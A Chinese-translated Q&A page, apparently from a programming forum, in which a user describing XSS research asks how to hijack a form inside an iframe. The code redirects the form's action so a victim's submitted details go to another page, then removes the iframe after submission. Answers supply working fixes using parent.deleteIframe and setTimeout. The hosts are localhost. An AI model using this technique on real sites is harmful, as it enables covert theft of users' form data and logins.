如何在 JavaScript 中提交表单后动态关闭 iframe
How to dynamically close an iframe after form submit in JavaScript
作为我正在做的一些XSS研究的一部分,我正在尝试生成一个具有更改表单操作的iframe,然后在受害者提交其详细信息后关闭iframe。到目前为止,我有以下代码:
<body onload="iframeEdit()">
<script>
function deleteIframe() {
var iframe = document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
function iframeEdit() {
var iframe = document.getElementById("myframe");
var innerDoc = iframe.contentDocument || iframe.contentWindow.document;
var form = innerDoc.getElementsByTagName("form");
form[0].action = "http://127.0.0.1/new/page.php";
form[0].setAttribute("onSubmit", "deleteIframe()");
}
</script>
<iframe id="myframe" src="http://127.0.0.1/iframe/page.php" height="250" width="300">
该代码仍然将表单详细信息发布到 php 页面;但是,它之后无法关闭 iframe。我知道 iframe 删除代码有效,就好像我自己尝试它一样,它可以正常工作。因此,它要么与脚本的逻辑流有关,要么 setAttribute 行无法正常工作。谁能说明我哪里出错了?谢谢!
可能有更好的方法可以做到这一点,但我发现的一个解决方法是通过setTimeout()
暂停 deleteIframe 函数。我发现只需 5 毫秒就足以成功发布表单详细信息:)
function deleteIframeTimer(){
var t = setTimeout("deleteIframe()", 5);
}
function deleteIframe() {
var iframe = parent.document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
非常感谢杰森的parent
提示!
这只是一个猜测,没有运行你的代码
form[0].setAttribute("onSubmit", "parent.deleteIframe()");
我的猜测是 iframe 无法直接访问父窗口,因此您需要parent
相关文章:
- 如何使用Angular动态添加iframe-src
- 使动态命名的iframe可编辑
- 动态创建的iframe中的window.onerror在lne 0处给出脚本错误
- 在iframe代码中动态插入子id
- 点击AngularJS动态iframe
- 如何使用Javascript在FireFox中将html从内存动态加载到iframe中
- 动态 iframe 在 Firefox 上不可见
- 动态IFRAME在IE11中具有未定义的主体
- 动态iframe高度-似乎需要重新加载页面
- 同位素布局中的动态iframe高度
- 跨域中的动态 iframe 高度
- 弹出窗口中的动态 iframe
- 动态iframe链接
- Firefox正在动态iframe中加载缓存
- IE8将动态iframe内容从缓存重新加载到错误的iframe中
- 获取动态Iframe的内容
- 插入文档的动态iframe为标准模式,默认为怪僻模式
- 动态iframe内容返回源代码,而不是解析后的代码
- 噩梦-iframe 动态 iframe 名称
- 设置带有加载器链接选项的动态iframe SRC